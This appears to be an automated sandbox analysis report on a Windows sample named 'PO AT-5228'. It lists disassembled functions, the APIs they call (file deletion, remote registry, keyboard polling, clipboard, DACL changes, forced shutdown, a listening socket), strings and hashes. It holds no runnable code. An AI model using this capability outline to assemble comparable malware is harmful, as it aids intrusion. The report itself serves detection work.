Opcode Fuzzy Hash: 6173a1b300d9987a911fdf078f36c7e73fa509ec01540e840091e83b5489383a
Instruction Fuzzy Hash: 80517D71204241AFD310AB64DD96FBE7BF8EB94B00F040569F686DB1D1DFB8DD098A62

Function 00BAF5FA Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 278timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00BAF62B
FindClose.KERNEL32(00000000), ref: 00BAF67F
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00BAF6A4
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00BAF6BB
FileTimeToSystemTime.KERNEL32(?,?), ref: 00BAF6E2
__swprintf.LIBCMT ref: 00BAF72E
__swprintf.LIBCMT ref: 00BAF767
__swprintf.LIBCMT ref: 00BAF7BB

Part of subcall function 00B8172B: __woutput_l.LIBCMT ref: 00B81784

__swprintf.LIBCMT ref: 00BAF809
__swprintf.LIBCMT ref: 00BAF858
__swprintf.LIBCMT ref: 00BAF8A7
__swprintf.LIBCMT ref: 00BAF8F6

Strings

%4d, xrefs: 00BAF761
%02d, xrefs: 00BAF7B0, 00BAF7B9, 00BAF807, 00BAF856, 00BAF8A5, 00BAF8F4
%4d%02d%02d%02d%02d%02d, xrefs: 00BAF728

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal$CloseFirstSystem__woutput_l
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 835046349-2428617273
Opcode ID: ea23cda50cc844a9fb81a8db2b715dafd97ba1b854372a92ea473b8e2f7c3a68
Instruction ID: 29c18b6676c035335216c34482a48bcc11d40f590b6f7ce5c6598de7da9ca1e3
Opcode Fuzzy Hash: ea23cda50cc844a9fb81a8db2b715dafd97ba1b854372a92ea473b8e2f7c3a68
Instruction Fuzzy Hash: B4A10CB2508345ABC310EBA4C885DBFB7ECEF98704F444C6EB69587151EB34DA49CB62

Function 00BB1B2F Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00BB1B50
_wcscmp.LIBCMT ref: 00BB1B65
_wcscmp.LIBCMT ref: 00BB1B7C
GetFileAttributesW.KERNEL32(?), ref: 00BB1B8E
SetFileAttributesW.KERNEL32(?,?), ref: 00BB1BA8
FindNextFileW.KERNEL32(00000000,?), ref: 00BB1BC0
FindClose.KERNEL32(00000000), ref: 00BB1BCB
FindFirstFileW.KERNEL32(*.*,?), ref: 00BB1BE7
_wcscmp.LIBCMT ref: 00BB1C0E
_wcscmp.LIBCMT ref: 00BB1C25
SetCurrentDirectoryW.KERNEL32(?), ref: 00BB1C37
SetCurrentDirectoryW.KERNEL32(00C139FC), ref: 00BB1C55
FindNextFileW.KERNEL32(00000000,00000010), ref: 00BB1C5F
FindClose.KERNEL32(00000000), ref: 00BB1C6C
FindClose.KERNEL32(00000000), ref: 00BB1C7C

Strings

*.*, xrefs: 00BB1BE2

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 54c9c5d947cf8bb879103a031f8e1eb08c344fda9720f1309efb00390a874a9f
Instruction ID: 464b60b4d5ffcab802eff19c8ee30401de147d96d5f251d15e9d09dafc97720f
Opcode Fuzzy Hash: 54c9c5d947cf8bb879103a031f8e1eb08c344fda9720f1309efb00390a874a9f
Instruction Fuzzy Hash: 3631B6315012596FDF20EFA8DC99AEE7BECEF05310F5049D5E911E7090EBB0DE858A64

Function 00BB1C8A Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00BB1CAB
_wcscmp.LIBCMT ref: 00BB1CC0
_wcscmp.LIBCMT ref: 00BB1CD7

Part of subcall function 00BA6BD4: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00BA6BEF

FindNextFileW.KERNEL32(00000000,?), ref: 00BB1D06
FindClose.KERNEL32(00000000), ref: 00BB1D11
FindFirstFileW.KERNEL32(*.*,?), ref: 00BB1D2D
_wcscmp.LIBCMT ref: 00BB1D54
_wcscmp.LIBCMT ref: 00BB1D6B
SetCurrentDirectoryW.KERNEL32(?), ref: 00BB1D7D
SetCurrentDirectoryW.KERNEL32(00C139FC), ref: 00BB1D9B
FindNextFileW.KERNEL32(00000000,00000010), ref: 00BB1DA5
FindClose.KERNEL32(00000000), ref: 00BB1DB2
FindClose.KERNEL32(00000000), ref: 00BB1DC2

Strings

*.*, xrefs: 00BB1D28

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 90292b50250f4f6c090b6fdbc141758ae4f8d4c3b93c89e70879e15ca4cecacb
Instruction ID: 5010bcd8d5f669f3dbb0b02144ab12541a30d498324fa298799830da1931ee92
Opcode Fuzzy Hash: 90292b50250f4f6c090b6fdbc141758ae4f8d4c3b93c89e70879e15ca4cecacb
Instruction Fuzzy Hash: BF31F43250165A6BCF10EFA8DC59AEE37EDDF05324F5049E1E901A70A0DBB0DE85CB64

Function 00B67D19 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 962COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B67DBD

Strings

\b(?=\w), xrefs: 00BDF85E
\, xrefs: 00B67E1D
[:<:]], xrefs: 00B67D1D
], xrefs: 00B67D9F
Q\E, xrefs: 00B686D6
\, xrefs: 00BDF95B
^, xrefs: 00B67D96
\b(?<=\w), xrefs: 00BDF877
[, xrefs: 00B67E14
[:>:]], xrefs: 00B67D37
\, xrefs: 00B67D89

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _memset
String ID: Q\E$[$[:<:]]$[:>:]]$\$\$\$\b(?<=\w)$\b(?=\w)$]$^
API String ID: 2102423945-2023335898
Opcode ID: 9e296ae24dceb627a7454ea218b077095307a2dcb3a7eaf159e171784290ec75
Instruction ID: 8a987d2f8e6ec86222711baf2ed6104b018c9aa0ec70a7723f4f5eeaaf07cc73
Opcode Fuzzy Hash: 9e296ae24dceb627a7454ea218b077095307a2dcb3a7eaf159e171784290ec75
Instruction Fuzzy Hash: 71829071D0421ADBCB24CF94C8806ADBBF1FF48314F2581EAD85AAB351E7789D85DB90

Function 00BB091D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00BB09DF
SystemTimeToFileTime.KERNEL32(?,?), ref: 00BB09EF
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00BB09FB
__wsplitpath.LIBCMT ref: 00BB0A59
_wcscat.LIBCMT ref: 00BB0A71
_wcscat.LIBCMT ref: 00BB0A83
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00BB0A98
SetCurrentDirectoryW.KERNEL32(?), ref: 00BB0AAC
SetCurrentDirectoryW.KERNEL32(?), ref: 00BB0ADE
SetCurrentDirectoryW.KERNEL32(?), ref: 00BB0AFF
_wcscpy.LIBCMT ref: 00BB0B0B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00BB0B4A

Strings

*.*, xrefs: 00BB0B05

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: a82b2e9d2a795247821af482bd41eb8c71b49af25815ef8352d678405b985df8
Instruction ID: 4087c14fb702fdf65c3b486edb4fae555819c27f8d76b5767b4952e00019e195
Opcode Fuzzy Hash: a82b2e9d2a795247821af482bd41eb8c71b49af25815ef8352d678405b985df8
Instruction Fuzzy Hash: EE617A725183059FD710EF64C8809AFB3E8FF89310F0489AAF989C7251DB75E949CB92

Function 00B9A66C Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B9ABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00B9ABD7
Part of subcall function 00B9ABBB: GetLastError.KERNEL32(?,00B9A69F,?,?,?), ref: 00B9ABE1
Part of subcall function 00B9ABBB: GetProcessHeap.KERNEL32(00000008,?,?,00B9A69F,?,?,?), ref: 00B9ABF0
Part of subcall function 00B9ABBB: HeapAlloc.KERNEL32(00000000,?,00B9A69F,?,?,?), ref: 00B9ABF7
Part of subcall function 00B9ABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00B9AC0E

Part of subcall function 00B9AC56: GetProcessHeap.KERNEL32(00000008,00B9A6B5,00000000,00000000,?,00B9A6B5,?), ref: 00B9AC62
Part of subcall function 00B9AC56: HeapAlloc.KERNEL32(00000000,?,00B9A6B5,?), ref: 00B9AC69
Part of subcall function 00B9AC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00B9A6B5,?), ref: 00B9AC7A

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B9A6D0
_memset.LIBCMT ref: 00B9A6E5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00B9A704
GetLengthSid.ADVAPI32(?), ref: 00B9A715
GetAce.ADVAPI32(?,00000000,?), ref: 00B9A752
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00B9A76E
GetLengthSid.ADVAPI32(?), ref: 00B9A78B
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00B9A79A
HeapAlloc.KERNEL32(00000000), ref: 00B9A7A1
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00B9A7C2
CopySid.ADVAPI32(00000000), ref: 00B9A7C9
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00B9A7FA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00B9A820
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00B9A834

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: f05d59aebac56e52c159f23d7829bfd87e4d337b4ca16c0fab9cebe5c7e643ee
Instruction ID: 15efa3c7e71a83125500b19a300ee5027f2b2d2d294dd96076e697bf2baa4685
Opcode Fuzzy Hash: f05d59aebac56e52c159f23d7829bfd87e4d337b4ca16c0fab9cebe5c7e643ee
Instruction Fuzzy Hash: 2D514A71900249AFDF10DFA5DC95AEEBBF9FF04300F048169F911AB291DB759A06CBA1

Function 00B66F07 Relevance: 18.4, Strings: 14, Instructions: 883COMMON

Download Yara Rule

Strings

NO_START_OPT), xrefs: 00BE2CD1
BSR_UNICODE), xrefs: 00BE2EBA
BSR_ANYCRLF), xrefs: 00BE2EA0
LF), xrefs: 00BE2E26
UTF16), xrefs: 00BE2C56
CR), xrefs: 00BE2E09
UTF), xrefs: 00BE2C7C
ANY), xrefs: 00BE2E60
CRLF), xrefs: 00BE2E43
UCP), xrefs: 00BE2C8F
NO_AUTO_POSSESS), xrefs: 00BE2CB0
ANYCRLF), xrefs: 00BE2E7D
LIMIT_RECURSION=, xrefs: 00BE2D7E
LIMIT_MATCH=, xrefs: 00BE2CF2

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
API String ID: 0-4052911093
Opcode ID: 112b2966b03705d6bec84380f64b636769d9122097d6b918b58d84a71dea1dd3
Instruction ID: 9b5843d76f971d74a3abffba831cfb8bc9a51fda686ba509d583c7d4f8dcd22a
Opcode Fuzzy Hash: 112b2966b03705d6bec84380f64b636769d9122097d6b918b58d84a71dea1dd3
Instruction Fuzzy Hash: BA725C71E042699BDF14CF59C8807AEB7F5FF48714F1481AAE809AB380DB749E81DB94

Function 00BA63F9 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA6EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00BA5FA6,?), ref: 00BA6ED8

Part of subcall function 00BA72CB: GetFileAttributesW.KERNEL32(?,00BA6019), ref: 00BA72CC

_wcscat.LIBCMT ref: 00BA6441
__wsplitpath.LIBCMT ref: 00BA645F
FindFirstFileW.KERNEL32(?,?), ref: 00BA6474
_wcscpy.LIBCMT ref: 00BA64A3
_wcscat.LIBCMT ref: 00BA64B8
_wcscat.LIBCMT ref: 00BA64CA
DeleteFileW.KERNEL32(?), ref: 00BA64DA
FindNextFileW.KERNEL32(00000000,00000010), ref: 00BA64EB
FindClose.KERNEL32(00000000), ref: 00BA6506

Strings

\*.*, xrefs: 00BA643B

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
String ID: \*.*
API String ID: 2643075503-1173974218
Opcode ID: a1c02a1f062ff393ae933436e39f7297df3c94d164e037caa674617404592538
Instruction ID: 4955fcd41e8db578958da51c1aa166524baf3d7a717c1936e7949d1e6f939fea
Opcode Fuzzy Hash: a1c02a1f062ff393ae933436e39f7297df3c94d164e037caa674617404592538
Instruction Fuzzy Hash: AD3182F280C388AEC721EBA488859DB77DCAF56310F44096AF6D9C3141EA35D50DC7A7

Function 00BC31BC Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC3C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BC2BB5,?,?), ref: 00BC3C1D

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BC328E

Part of subcall function 00B6936C: __swprintf.LIBCMT ref: 00B693AB
Part of subcall function 00B6936C: __itow.LIBCMT ref: 00B693DF

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00BC332D
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00BC33C5
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00BC3604
RegCloseKey.ADVAPI32(00000000), ref: 00BC3611

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: e0b9bf21f3b629d2d10c9aef82e88883f341e8a0f5ca7cf3e2b035b5ccdd3845
Instruction ID: 20d03a4eb3716d03dfa6062c610b8d55aaa3ed509ac9bac34ef2c7e531ea6f3d
Opcode Fuzzy Hash: e0b9bf21f3b629d2d10c9aef82e88883f341e8a0f5ca7cf3e2b035b5ccdd3845
Instruction Fuzzy Hash: CEE14B71604210AFCB15DF28C995E2ABBE8FF89714B04C4ADF44ADB262DB35E905CB52

Function 00BA2B37 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00BA2B5F
GetAsyncKeyState.USER32(000000A0), ref: 00BA2BE0
GetKeyState.USER32(000000A0), ref: 00BA2BFB
GetAsyncKeyState.USER32(000000A1), ref: 00BA2C15
GetKeyState.USER32(000000A1), ref: 00BA2C2A
GetAsyncKeyState.USER32(00000011), ref: 00BA2C42
GetKeyState.USER32(00000011), ref: 00BA2C54
GetAsyncKeyState.USER32(00000012), ref: 00BA2C6C
GetKeyState.USER32(00000012), ref: 00BA2C7E
GetAsyncKeyState.USER32(0000005B), ref: 00BA2C96
GetKeyState.USER32(0000005B), ref: 00BA2CA8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 3a58b5828003cb2ba8a70661a7f3a20f85db5d6532feb23da30a376c382c76ce
Instruction ID: 590cd1c7b49b95b7ed65ae4aa28d55982f21c3f5490bb85d05777f6a202e2c06
Opcode Fuzzy Hash: 3a58b5828003cb2ba8a70661a7f3a20f85db5d6532feb23da30a376c382c76ce
Instruction Fuzzy Hash: B041D83450C7C96EFF349B6889443AABEE0EB23314F4440D9D9C65B6C1EBA499C4C7A2

Function 00BB6D07 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00BB6D2E
EmptyClipboard.USER32 ref: 00BB6D34
GlobalAlloc.KERNEL32(00000002,?), ref: 00BB6D49
CloseClipboard.USER32 ref: 00BB6DE8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 3ce262ce0a9c321660d7e173d7303f62ca6916c6f39373d9db4cb59ca22c44d5
Instruction ID: b2994438a565fa295cb75a90cd5512738f29f6fcbadb817a4a2d92ed8dae540b
Opcode Fuzzy Hash: 3ce262ce0a9c321660d7e173d7303f62ca6916c6f39373d9db4cb59ca22c44d5
Instruction Fuzzy Hash: 1F214C31300110AFDB11AF64DD89B6D77E8EF54711F0484A9F90ADB2A1DFB9ED018B55

Function 00BBC18C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

Part of subcall function 00B99ABF: CLSIDFromProgID.OLE32 ref: 00B99ADC
Part of subcall function 00B99ABF: ProgIDFromCLSID.OLE32(?,00000000), ref: 00B99AF7
Part of subcall function 00B99ABF: lstrcmpiW.KERNEL32(?,00000000), ref: 00B99B05
Part of subcall function 00B99ABF: CoTaskMemFree.OLE32(00000000,?,00000000), ref: 00B99B15

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00BBC235
_memset.LIBCMT ref: 00BBC242
_memset.LIBCMT ref: 00BBC360
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000001), ref: 00BBC38C
CoTaskMemFree.OLE32(?), ref: 00BBC397

Strings

NULL Pointer assignment, xrefs: 00BBC3E5

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 26126c87c23c30c51ba59883289c58e9099ac58342b84df9e438c1cd05628232
Instruction ID: 571b7cedf21f9e4c1636ddf096dc545e51cd5c02068ea492b6ebd2f79f3849e9
Opcode Fuzzy Hash: 26126c87c23c30c51ba59883289c58e9099ac58342b84df9e438c1cd05628232
Instruction Fuzzy Hash: 69910971D00218ABDB10DF94DC95EEEBBF9EF04710F1081AAF519A7291DBB19A45CFA0

Function 00BA79D3 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00B9B134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B9B180
Part of subcall function 00B9B134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B9B1AD
Part of subcall function 00B9B134: GetLastError.KERNEL32 ref: 00B9B1BA

ExitWindowsEx.USER32(?,00000000), ref: 00BA7A0F

Strings

@, xrefs: 00BA7A02
SeShutdownPrivilege, xrefs: 00BA79DD
, xrefs: 00BA79FD

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: b04fd7abeda935ea301f7b4fed8ce06f072ec0f75836364a3718be60bff15627
Instruction ID: 779327c0b85400409b8cecfc9fe4a1cd9b356f391e00abd9de90bd77154f7feb
Opcode Fuzzy Hash: b04fd7abeda935ea301f7b4fed8ce06f072ec0f75836364a3718be60bff15627
Instruction Fuzzy Hash: E201A7757EC2517FFB285768DC9ABBF73D8DB02740F2404A5B953A60D2DDA15E0081A4

Function 00BB8C4F Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00BB8CA8
WSAGetLastError.WSOCK32(00000000), ref: 00BB8CB7
bind.WSOCK32(00000000,?,00000010), ref: 00BB8CD3
listen.WSOCK32(00000000,00000005), ref: 00BB8CE2
